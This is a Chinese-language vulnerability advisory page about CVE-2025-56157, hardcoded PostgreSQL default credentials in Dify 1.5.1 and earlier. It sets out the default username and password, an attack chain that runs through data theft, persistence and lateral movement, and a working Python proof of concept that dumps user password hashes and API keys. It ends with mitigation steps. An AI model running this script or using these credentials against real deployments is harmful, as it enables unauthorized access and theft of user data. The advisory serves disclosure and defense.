IPBUF安全漏洞报告
English
CVE-2025-56157 CVSS 9.8 严重

CVE-2025-56157: Dify 1.5.1及之前版本PostgreSQL默认凭据漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-56157
漏洞类型
默认凭据/弱口令
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dify

相关标签

CVE-2025-56157默认凭据弱口令PostgreSQLDifyDocker配置文件泄露数据库安全CVSS 9.8严重漏洞

漏洞概述

CVE-2025-56157是Dify应用平台中的一个严重安全漏洞,CVSS评分高达9.8分。Dify是一个开源的大语言模型(LLM)应用开发平台,其1.5.1及之前版本在docker-compose.yaml配置文件中硬编码了PostgreSQL数据库的默认用户名和密码。攻击者可以利用这些默认凭据直接访问数据库服务器(默认监听TCP端口5432),从而获取存储在数据库中的敏感信息,包括用户数据、应用配置、API密钥等。

该漏洞属于OWASP Top 10中的"A07:2021 - Security Misconfiguration"类别。由于Dify的Docker部署包中包含了预配置的数据库连接信息,且这些凭据在代码仓库中是公开的,任何能够访问到源代码或部署配置的攻击者都可以轻易获取数据库访问权限。虽然供应商报告称在1.0.1或更高版本中,Docker配置默认不会暴露PostgreSQL端口,但如果用户错误配置了网络或防火墙规则,将直接面临数据泄露风险。

此漏洞的影响范围包括:机密性完全丧失(攻击者可读取所有数据库内容)、完整性完全丧失(攻击者可修改或删除数据)、可用性完全丧失(攻击者可破坏数据库服务)。建议用户立即检查并修改数据库凭据,升级到最新版本,并确保数据库端口不会对外暴露。

技术细节

Dify在Docker部署时使用docker-compose.yaml文件管理各个服务组件,其中包括PostgreSQL数据库服务。该配置文件包含了数据库连接所需的所有敏感信息,包括主机地址、端口号、用户名和密码。

漏洞原理分析:
1. 硬编码凭据:Dify的docker-compose.yaml文件中包含PostgreSQL的默认用户名(如postgres)和密码(如difyai123456),这些凭据在代码仓库中以明文形式存储。
2. 端口暴露:虽然1.0.1及之后版本默认不暴露5432端口,但如果用户在Docker网络配置中错误地将PostgreSQL端口映射到主机网络(-p 5432:5432),则数据库将可直接从外部访问。
3. 无访问控制:默认配置中未设置IP白名单或强密码策略,攻击者只需知道默认凭据即可连接数据库。

利用方式:
攻击者首先需要识别目标系统中运行的是Dify应用,然后获取docker-compose.yaml文件(通过GitHub仓库、错误配置的文件上传或其他信息泄露途径),提取PostgreSQL凭据后,使用数据库客户端工具(如psql、pgAdmin或Python的psycopg2库)直接连接数据库。一旦连接成功,攻击者可以执行任意SQL语句,包括:SELECT * FROM users获取用户信息、SELECT * FROM api_keys获取API密钥、UPDATE或DELETE操作修改或破坏数据。

受影响的服务表包括:users(用户表)、api_keys(API密钥表)、app(应用配置表)、conversation(对话记录表)等,这些表中可能包含用户的隐私数据、支付信息和业务敏感数据。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者通过GitHub仓库、错误配置的备份文件或信息泄露途径获取Dify的docker-compose.yaml文件,提取其中硬编码的PostgreSQL凭据(默认用户名postgres,密码difyai123456)
STEP 2
步骤2: 目标识别
攻击者使用端口扫描工具(如Nmap)扫描目标服务器,确认TCP端口5432(PostgreSQL)是否对外暴露,或通过识别Web服务特征确认目标运行Dify应用
STEP 3
步骤3: 数据库连接
使用提取的默认凭据,通过psql客户端或Python psycopg2库直接连接PostgreSQL数据库(默认端口5432),无需任何额外认证
STEP 4
步骤4: 数据窃取
连接成功后,攻击者查询information_schema获取所有表结构,然后提取敏感数据,包括用户表(users)、API密钥表(api_keys)、应用配置表(app)等
STEP 5
步骤5: 持久化控制
攻击者可创建新的数据库用户账户或修改现有账户,实现持久化访问;或修改应用配置,植入后门以维持对Dify系统的长期控制
STEP 6
步骤6: 横向移动
利用获取的API密钥和用户凭据,访问Dify应用层API,执行LLM相关操作或窃取业务数据;如数据库与后端服务在同一网络,还可能进一步渗透内网

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-56157 PoC - Dify PostgreSQL Default Credentials This PoC demonstrates the exploitation of hardcoded PostgreSQL credentials in Dify <= 1.5.1 Usage: python3 cve-2025-56157-poc.py <target_ip> Note: This is for authorized security testing only """ import psycopg2 import sys from argparse import ArgumentParser def exploit_default_credentials(target_host): """ Exploit hardcoded PostgreSQL credentials in Dify docker-compose.yaml Default credentials from the vulnerable configuration: - Username: postgres - Password: difyai123456 - Port: 5432 """ # Default credentials from Dify's docker-compose.yaml default_credentials = { 'user': 'postgres', 'password': 'difyai123456', 'host': target_host, 'port': '5432', 'database': 'dify' } print(f"[*] Attempting to connect to PostgreSQL at {target_host}:5432") print(f"[*] Using credentials - User: {default_credentials['user']}, Password: {default_credentials['password']}") try: # Connect to PostgreSQL database conn = psycopg2.connect( host=default_credentials['host'], port=default_credentials['port'], user=default_credentials['user'], password=default_credentials['password'], database=default_credentials['database'], connect_timeout=10 ) print("[+] SUCCESS: Connected to PostgreSQL database!") cursor = conn.cursor() # Enumerate database tables print("\n[*] Enumerating database tables...") cursor.execute(""" SELECT table_name FROM information_schema.tables WHERE table_schema = 'public' """) tables = cursor.fetchall() print(f"[+] Found {len(tables)} tables:") for table in tables: print(f" - {table[0]}") # Extract sensitive data from users table print("\n[*] Extracting user information...") try: cursor.execute("SELECT id, email, name, password, created_at FROM users LIMIT 10") users = cursor.fetchall() print(f"[+] Found {len(users)} users:") for user in users: print(f" ID: {user[0]}, Email: {user[1]}, Name: {user[2]}, PasswordHash: {user[3]}, Created: {user[4]}") except Exception as e: print(f"[-] Could not retrieve users table: {e}") # Extract API keys print("\n[*] Extracting API keys...") try: cursor.execute("SELECT id, app_id, api_key, secret_key FROM api_keys LIMIT 10") api_keys = cursor.fetchall() print(f"[+] Found {len(api_keys)} API keys:") for key in api_keys: print(f" AppID: {key[1]}, APIKey: {key[2]}, SecretKey: {key[3]}") except Exception as e: print(f"[-] Could not retrieve api_keys table: {e}") cursor.close() conn.close() return True except psycopg2.OperationalError as e: print(f"[-] FAILED: Could not connect to database") print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = ArgumentParser(description='CVE-2025-56157 PoC - Dify Default Credentials') parser.add_argument('target', help='Target Dify server IP or hostname') args = parser.parse_args() print("=" * 60) print("CVE-2025-56157 PoC - Dify PostgreSQL Default Credentials") print("=" * 60) success = exploit_default_credentials(args.target) if success: print("\n[!] VULNERABLE: Default credentials are in use!") print("[!] Recommendation: Change PostgreSQL password immediately") else: print("\n[-] Target may not be vulnerable or is not accessible") sys.exit(0 if success else 1)

影响范围

Dify <= 1.5.1
Dify < 1.0.1 (older versions with exposed PostgreSQL by default)

防御指南

临时缓解措施
临时缓解措施:1) 检查并修改所有Dify部署实例的docker-compose.yaml文件,将POSTGRES_PASSWORD环境变量值改为随机强密码;2) 确保Docker网络配置中未将5432端口映射到主机网络(删除-p 5432:5432或修改为-p 127.0.0.1:5432:5432);3) 配置防火墙规则,禁止外部IP访问数据库端口;4) 如果短期内无法升级版本,可使用网络ACL或安全组限制对5432端口的访问,仅允许内网可信IP连接;5) 定期轮换数据库凭据,降低凭据泄露后的影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表